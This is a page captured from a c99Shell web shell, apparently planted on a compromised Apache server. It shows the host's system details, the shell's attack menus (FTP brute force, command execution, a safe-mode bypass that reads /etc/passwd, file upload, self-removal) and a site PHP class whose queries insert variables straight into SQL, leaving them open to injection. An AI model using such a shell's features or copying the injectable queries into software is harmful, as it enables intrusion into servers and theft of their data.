!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/eassess/class/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsEsa_DoProject.php (4.24 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class DoProject extends clsDB{

    var 
$result;

    var 
$doPjid;
    var 
$defineid;
    var 
$pjId;
    var 
$stdId;
    var 
$stdYear;
    var 
$dateAss;

    function 
DoProject(&$c){
        
$this->c=$c->c;
        
$this->DB=$c->db;
    }

    function 
GetRecord(){
        if (
$this->result $this->GetResult()) {
            
$this->doPjid $this->result['doPjid'];
            
$this->defineid $this->result['defineid'];
            
$this->pjId $this->result['pjId'];
            
$this->stdId $this->result['stdId'];
            
$this->stdYear $this->result['stdYear'];
            
$this->dateAss $this->result['dateAss'];
            return 
1;
        }else {
            return 
0;
        }
    }

    function 
GetNextCode(){
    
//--หาค่าสูงสุดของฟิลด์ที่ใช้เป็นคีย์ของตาราง ในลักษณะ auto increment
    //--ต้องเป็นฟิลด์ชนิดตัวเลขจำนวนเต็มเท่านั้น และไม่ได้กำหนดรหัสเองทางจอภาพ
        
$this->SetQuery("select max(doPjid) as num from ea_DoProject");
        if (
$result=$this->GetResult()) {
            return 
$result['num']+1;
        }
    }

    function 
GetMaxCode(){
    
//--หาค่าสูงสุดของฟิลด์ที่ใช้เป็นคีย์ของตาราง ในลักษณะ auto increment
    //--ต้องเป็นฟิลด์ชนิดตัวเลขจำนวนเต็มเท่านั้น และไม่ได้กำหนดรหัสเองทางจอภาพ
        
$this->SetQuery("select max(doPjid) as num from ea_DoProject");
        if (
$result=$this->GetResult()) {
            return 
$result['num'];
        }
    }

    function 
Save(){
    
//--ข้อมูลในอ๊อบเจ๊กเป็นข้อมูลใหม่หรือข้อมูลเดิม --1:ข้อมูลใหม่  2:ข้อมูลเดิม
        
if ($this->status==1){
            
//uncomment a line below if your table use ID as running number
            
$this->doPjid=$this->GetNextCode();
            
$sql "insert into ea_DoProject values(
                '$this->doPjid',
                '$this->defineid',
                '$this->pjId',
                '$this->stdId',
                '$this->stdYear',
                '$this->dateAss'
                )"
;
        }else {
            
$sql "update ea_DoProject set 
                defineid='$this->defineid',
                pjId='$this->pjId',
                stdId = '$this->stdId',
                stdYear = '$this->stdYear',
                dateAss = '$this->dateAss'
                where holdid='$this->doPjid'"
;
        }
        return 
$this->Dml($sql);
    }

    function 
chkDoPj($defineid,$stdid){
        
$sql "select hpj.defineid,hpj.pjId,doPjid,mb_syId as stdYear
            from ea_HoldProject hpj 
            inner join ea_SaMember mb on pjId = mb_mpj_id OR pjId = mb_acp_id
            left outer join ea_DoProject dp 
                on hpj.defineid = dp.defineid  
                    and hpj.pjId = dp.pjId  
                    and mb_std_id = dp.stdId
            where hpj.defineid = $defineid
            and mb_std_id = $stdid
            and doPjid IS NULL"
;
        
$this->SetQuery($sql);
        return 
1;
    }

    function 
RSByDefinePj($defineid,$pjid){
        
$sql "select *
        from ea_DoProject 
        where defineid = $defineid
        and pjId = $pjid"
;
        
$this->SetQuery($sql);
        return 
1;
    }

    function 
SearchDoid($xdefineid,$pjid,$stdid){
        
$cond '';
        
$cond.= ($pjid!='%')? " and pjId = $pjid" '' ;
        
$cond.= ($stdid!='%')? " and stdId = $stdid" '' ;
        
$sql "select doPjid
                        from ea_DoProject 
                        where defineid= '$xdefineid' 
                        $cond
                        order by doPjid
                        "
;
        if (
$this->SetQuery($sql)){ 
            return 
1;
        }else {
            return 
0;
        }
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--